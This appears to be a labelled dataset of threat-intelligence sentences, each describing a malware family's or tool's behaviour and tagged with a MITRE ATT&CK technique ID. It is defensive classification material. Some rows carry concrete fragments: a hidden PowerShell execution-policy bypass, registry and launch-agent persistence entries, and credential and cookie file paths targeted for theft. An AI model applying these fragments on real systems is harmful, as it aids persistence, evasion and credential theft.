Sardonic can use certain ConfuserEx features for obfuscation and can be encoded in a base64 string.,T1027
Sardonic has the ability to execute the `net view` command.,T1135
Sardonic has the ability to execute the `tasklist` command.,T1057
"ShadowPad has discovered system information including memory status, CPU frequency, and OS versions.",T1082
Shai-Hulud has leveraged captured valid NPM tokens to enumerate and update packages on compromised accounts. Shai-Hulud has also utilized stolen GitHub access tokens to access compromised accounts.,T1550.001
Shai-Hulud has published itself on compromised code repository maintainers within infected packages in attempts to propagate to other victims. Shai-Hulud has also modified versions of code packages.,T1195.001
"Shai-Hulud has the ability to search open sites and code repositories for compromised credentials. Shai-Hulud has discovered packages associated with compromised accounts. Shai-Hulud has also searched code repositories for other compromised repositories that include predefined parameters or markers to include ""Second Coming"" combined with an 18-character alphanumeric string.",T1593.003
Shai-Hulud has used POST to exfiltrate secrets from the victim environment to an attacker-controlled URL.,T1041
Shai-Hulud has utilized double-base64 encoding to store stolen secrets within the Github Action Logs within the victim account. Shai-Hulud has also leveraged three layers of base64 encoding of exfiltrated data for anti-forensic purposes.,T1027
"Shamoon creates a new service named ""ntssrv"" that attempts to appear legitimate; the service's display name is ""Microsoft Network Realtime Inspection Service"" and its description is ""Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols."" Newer versions create the ""MaintenaceSrv"" service, which misspells the word ""maintenance.""",T1036.004
SharpDisco can create scheduled tasks to execute reverse shells that read and write data to and from specified SMB shares.,T1053.005
SharpDisco can leverage Native APIs through plugins including `GetLogicalDrives`.,T1106
SharpDisco can load a plugin to exfiltrate stolen files to SMB shares also used in C2.,T1041
SharpDisco can use `cmd.exe` to execute plugins and to send command output to specified SMB shares.,T1059.003
ShrinkLocker captures the IP address of the victim system and sends this to the attacker following encryption.,T1016
ShrinkLocker turns on the system firewall and deletes all of its rules during execution.,T1686
ShrinkLocker will exfiltrate victim system information along with the encryption key via an HTTP POST.,T1041
"ShrinkLocker will exit its ""main"" function if the victim domain name does not match provided criteria.",T1480
"SideTwist can use GetUserNameW, GetComputerNameW, and GetComputerNameExW to gather information.",T1106
Skidmap has the ability to check if /usr/sbin/setenforce exists. This file controls what mode SELinux is in.,T1518.001
"Sliver incorporates the Rubeus framework to allow for Kerberos ticket manipulation, specifically for forging Kerberos Golden Tickets.",T1558.001
SnappyTCP can use OpenSSL and TLS certificates to encrypt traffic.,T1573.002
SnappyTCP creates the reverse shell using a pthread spawning a bash shell.,T1059.004
SnappyTCP is a reverse TCP shell with command and control capabilities used for persistence purposes.,T1505.003
Snip3 can execute `WScript.Sleep` to delay execution of its second stage.,T1497.003
"Snip3 has the ability to detect Windows Sandbox, VMWare, or VirtualBox by querying `Win32_ComputerSystem` to extract the `Manufacturer` string.",T1497.001
Snip3 has the ability to obfuscate strings using XOR encryption.,T1027
SocGholish has used WMI calls for script execution and system profiling.,T1047
SodaMaster can use RegOpenKeyW to access the Registry.,T1106
Solar has the ability to delete staged files after they are uploaded to C2.,T1070.004
"Some variants of Cherry Picker use AppInit_DLLs to achieve persistence by creating the following Registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows ""AppInit_DLLs""=""pserver32.dll""",T1546.010
SoreFang can collect disk space information on victim machines by executing Systeminfo.,T1680
SoreFang can collect usernames from the local system via net.exe user.,T1087.001
"SpeakUp uses the cat /proc/cpuinfo | grep -c ""cpu family"" 2>&1 command to gather system information.",T1082
Spica can list filesystem contents on targeted systems.,T1083
SplatCloak has collected the Windows build number using the windows kernel API `RtlGetVersion` to determine if the response is 19000 or higher (Windows 10 version 2004 or later).,T1082
SslMM identifies and kills anti-malware processes.,T1685
StarProxy has used native windows API calls such as `GetLocalTime()` to retrieve system data.,T1106
StealBit stores obfuscated DLL file names in its executable.,T1027.013
StealBit will execute an empty infinite loop if it detects it is being run in the context of a debugger.,T1480
StrelaStealer exfiltrates collected email credentials via HTTP POST to command and control servers.,T1041
StrelaStealer payloads have tailored filenames to include names identical to the name of the targeted organization or company.,T1036.005
StrelaStealer payloads have used control flow obfuscation techniques such as excessively long code blocks of mathematical instructions to defeat sandboxing and related analysis methods.,T1497
"StrelaStealer variants have used PowerShell scripts to download or drop payloads, including obfuscated variants to connect to a WebDAV server to download and executed an encrypted DLL for installation.",T1059.001
"StrelaStealer variants use COM objects to enumerate installed applications from the ""AppsFolder"" on victim machines.",T1518
"SynAck lists all the keyboard layouts installed on the victim's system using GetKeyboardLayoutList API and checks against a hardcoded language code list. If a match if found, SynAck sleeps for 300 seconds and then exits without encrypting files.",T1614.001
SystemBC has encoded with XOR and encrypted with RC4 its beacon.,T1001
SystemBC has the ability to enumerate running processes.,T1057
SystemBC has used hidden scheduled tasks to execute PowerShell commands by adding the following: `-WindowStyle Hidden -ep bypass -file `.,T1059.001
SystemBC has utilized the `-WindowStyle Hidden -ep bypass -file `to conceal PowerShell windows.,T1564.003
TAINTEDSCRIBE has used FileReadZipSend to compress a file and send to C2.,T1560
TAMECAT has used `wget` and `curl` to download additional content.,T1105
"THINCRUST can use the Django python module ""django.views.decorators.csrf"" along with the decorator ""csrf_exempt"" within victim firewalls to disable cross-site request forgery protections.",T1686
"TONESHELL has abused legitimate executables to side-load malicious DLLs. TONESHELL has also been loaded via DLL side-loading, using legitimate, signed executables to include: FastVD.exe, Bandizip.exe and gpgconf.exe.",T1574.001
TONESHELL has added Registry Run keys to achieve persistence.,T1547.001
TONESHELL has capabilities to conduct keylogging.,T1056.001
TONESHELL has checked for the presence of ESET antivirus applications `ekrn.exe` and `egui.exe`.,T1518.001
TONESHELL has used WMI queries to gather information from the system.,T1047
TONESHELL has used randomized padding to obfuscate payloads.,T1027.001
"TRANSLATEXT has redirected clients to legitimate Gmail, Naver or Kakao pages if the clients connect with no parameters.",T1205
TRANSLATEXT has used a Github repository for C2.,T1102.002
Taidoor has collected the MAC address of a compromised host; it can also use GetAdaptersInfo to identify network adapters.,T1016
Taidoor has modified the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run key for persistence.,T1547.001
The net start command can be used in Net to find information about Windows services.,T1007
The net use \\system\share /delete command can be used in Net to remove an established connection to a network share.,T1070.005
The AshTag AshenOrchestrator component payload as been Base64 encoded and embedded with HTML content from the C2 server.,T1027.013
The AshTag loader and AshenOrchestrator components can collect reconnaissance data from victim machines.,T1082
The AshTag stager compoment can decode and decrypt Base64 and XOR-encrypted payloads.,T1140
"The Black Basta dropper can check system flags, CPU registers, CPU instructions, process timing, system libraries, and APIs to determine if a debugger is present.",T1622
The Black Basta dropper has been digitally signed with a certificate issued by Akeo Consulting for legitimate executables used for creating bootable USB drives.,T1553.002
The Cobalt Strike loader can use the `MessageBoxA` API to prompt for user interaction as an anti-sandbox measure.,T1497.002
The Komplex trojan creates a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist with launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist.,T1543.001
The LockBit 3.0 payload includes an encrypted main component.,T1027.013
The Ninja payload is XOR encrypted and compressed. Ninja has also XORed its configuration data with a constant value of `0xAA`.,T1027.013
The REPTILE launcher can daemonize a process.,T1543.004
"ThiefQuest searches through the /Users/ folder looking for executable files. For each executable, ThiefQuest prepends a copy of itself to the beginning of the file. When the file is executed, the ThiefQuest code is executed first. ThiefQuest creates a hidden file, copies the original target executable to the file, then executes the new hidden file to maintain the appearance of normal behavior.",T1554
ThreatNeedle can save its configuration data as a RC4-encrypted Registry key under `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\GameCon`.,T1027.011
"To collect data on the host's Wi-Fi connection history, LightSpy reads the `/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist` file. It also utilizes Apple's `CWWiFiClient` API to scan for nearby Wi-Fi networks and obtain data on the SSID, security type, and RSSI (signal strength) values.",T1217
TrickBot has retrieved PuTTY credentials by querying the Software\SimonTatham\Putty\Sessions registry key,T1552.002
"TrickBot module ""Trickboot"" can write or erase the UEFI/BIOS firmware of a compromised device.",T1495
Troll Stealer collects the MAC address of victim devices.,T1016
Troll Stealer creates and executes a PowerShell script to delete itself.,T1059.001
TruffleHog can enumerate cloud storage environments including Amazon Web Service (AWS) S3 buckets and Google Cloud Storage buckets.,T1619
TruffleHog can query the AWS and GCP metadata endpoints for instances and service credentials.,T1552.005
TruffleHog has obtained credentials stored in config files and credential files in victim environments.,T1552.001
TruffleHog has obtained data and credentials associated with messaging applications to include Slack.,T1213.005
Tsundere Botnet has been distributed via a PowerShell script.,T1059.001
"Tsundere Botnet has created a value in the `HKCU:\Software\Microsoft\Windows\CurrentVersion\Run` Registry key, ensuring that it is run at login.",T1547.001
UPPERCUT can upload files to the C2 from infected machines.,T1005
UPPERCUT can use a sleep function to delay execution.,T1678
UPPERCUT contains functionality to bypass UAC.,T1548.002
UPPERCUT has the capability to obtain the time zone information and the current timestamp of the victim's machine.,T1124
UPSTYLE encodes its main content prior to loading via Python as base64-encoded blobs.,T1140
"UPSTYLE removes `bootstrap.min.css` after parsing command and control instructions, restoring the file to its original state.",T1070.004
USBferry can use netstat and nbtstat to detect active network connections.,T1049
Uroburos can add extra characters in encoded strings to help mimic DNS legitimate requests.,T1001.001
Uroburos can decrypt command parameters sent through C2 and use unpacking code to extract its packed executable.,T1140
"Uroburos can encrypt the data beneath its http2 or tcp encryption at the session layer with CAST-128, using a different key for incoming and outgoing data.",T1573.001
Uroburos can use a `Put` command to write files to an infected machine.,T1105
Uroburos can use implants on multiple compromised machines to proxy communications through its worldwide P2P network.,T1090.003
Uroburos can use native Windows APIs including `GetHostByName`.,T1106
"Uroburos has the ability to communicate over custom communications methodologies that ride over common network protocols including raw TCP and UDP sockets, HTTP, SMTP, and DNS.",T1572
VIRTUALPIE can use a custom RC4 encrypted protocol for C2 communications.,T1573.001
VIRTUALPITA has the ability to spawn a bash shell for script execution.,T1059.004
VersaMem staged captured credentials locally at `/tmp/.temp.data`.,T1074.001
WARPWIRE can capture credentials submitted during the web logon process in order to access layer seven applications such as RDP.,T1056.003
WARPWIRE can send captured credentials to C2 via HTTP `GET` or `POST` requests.,T1048.003
"WIREFIRE can decode, decrypt, and decompress data received in C2 HTTP `POST` requests.",T1140
WIREFIRE is a web shell that can download files to and execute arbitrary commands from compromised Ivanti Connect Secure VPNs.,T1505.003
WarzoneRAT has the ability of performing remote desktop access via a hVNC window for decreased visibility.,T1564.003
WhisperGate's downloader can reverse its third stage file bytes and reflectively load the file as a .NET assembly.,T1620
"Woody RAT can call `NtQuerySystemProcessInformation` with `SystemProcessInformation` to enumerate all running processes, including associated information such as PID, parent PID, image name, and owner.",T1057
"Woody RAT can download files from its C2 server, including the .NET DLLs, `WoodySharpExecutor` and `WoodyPowerSession`.",T1105
"Woody RAT can retrieve the following information from an infected machine: OS, architecture, computer name, OS build version, and environment variables.",T1082
Woody RAT can use RSA-4096 to encrypt data sent to its C2 server.,T1573.002
XAgentOSX contains the getProcessList function to run ps aux to get running processes.,T1057
XCSSET prompts the user to input credentials using a native macOS dialog box leveraging the system process /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment.,T1056.002
XCSSET uses scp to access the ~/Library/Cookies/Cookies.binarycookies file.,T1539
XCSSET uses a hidden folder named .xcassets and .git to embed itself in Xcode.,T1564.001
"XCSSET uses a shell script to execute Mach-o files and osacompile commands such as, osacompile -x -o xcode.app main.applescript.",T1059.004
"XLoader can conduct form grabbing, steal cookies, and extract data from HTTP sessions.",T1185
"XLoader has been delivered as a phishing attachment, including PDFs with embedded links, Word and Excel files, and various archive files (ZIP, RAR, ACE, and ISOs) containing EXE payloads.",T1566.001
XLoader injects code into the APC queue using `NtQueueApcThread` API.,T1055.004
XLoader loads a copy of NTDLL to evade hooks from security monitoring tools on this library. XLoader can add the path of its executable to the Microsoft Defender exclusion list.,T1685
ZIPLINE can identify running processes and their names.,T1057
Zebrocy collects the serial number for the storage volume C:\.,T1680
ZeroCleare can use a malicious PowerShell script to bypass Windows controls.,T1059.001
certutil may be used to Base64 encode collected data.,T1560.001
cipher.exe can be used to overwrite deleted data in specified folders.,T1561.001
evilginx2 can generate and display phishing URLs including hidden tracking pixels and can also embed URLs within iframes for browser-in-the-browser phishing.,T1598.003
metaMain can collect the username from a compromised host.,T1033
metaMain can create a named pipe to listen for and send data to a named pipe-based C2 server.,T1090.001
metaMain can use HTTP for C2 communications.,T1071.001
"metaMain has authenticated itself to a different implant, Cryshell, through a port knocking and handshake procedure.",T1205.001
"metaMain has reflectively loaded a DLL to read, decrypt, and load an orchestrator file.",T1620
metaMain has used XOR-based encryption for collected files before exfiltration.,T1560.003
"metaMain registered a WMI event subscription consumer called ""hard_disk_stat"" to establish persistence.",T1546.003
ngrok has been used by threat actors to proxy C2 connections to ngrok service subdomains.,T1102
reGeorg can be used to tunnel RDP connections.,T1021.001
yty gets an output of running processes using the tasklist command.,T1057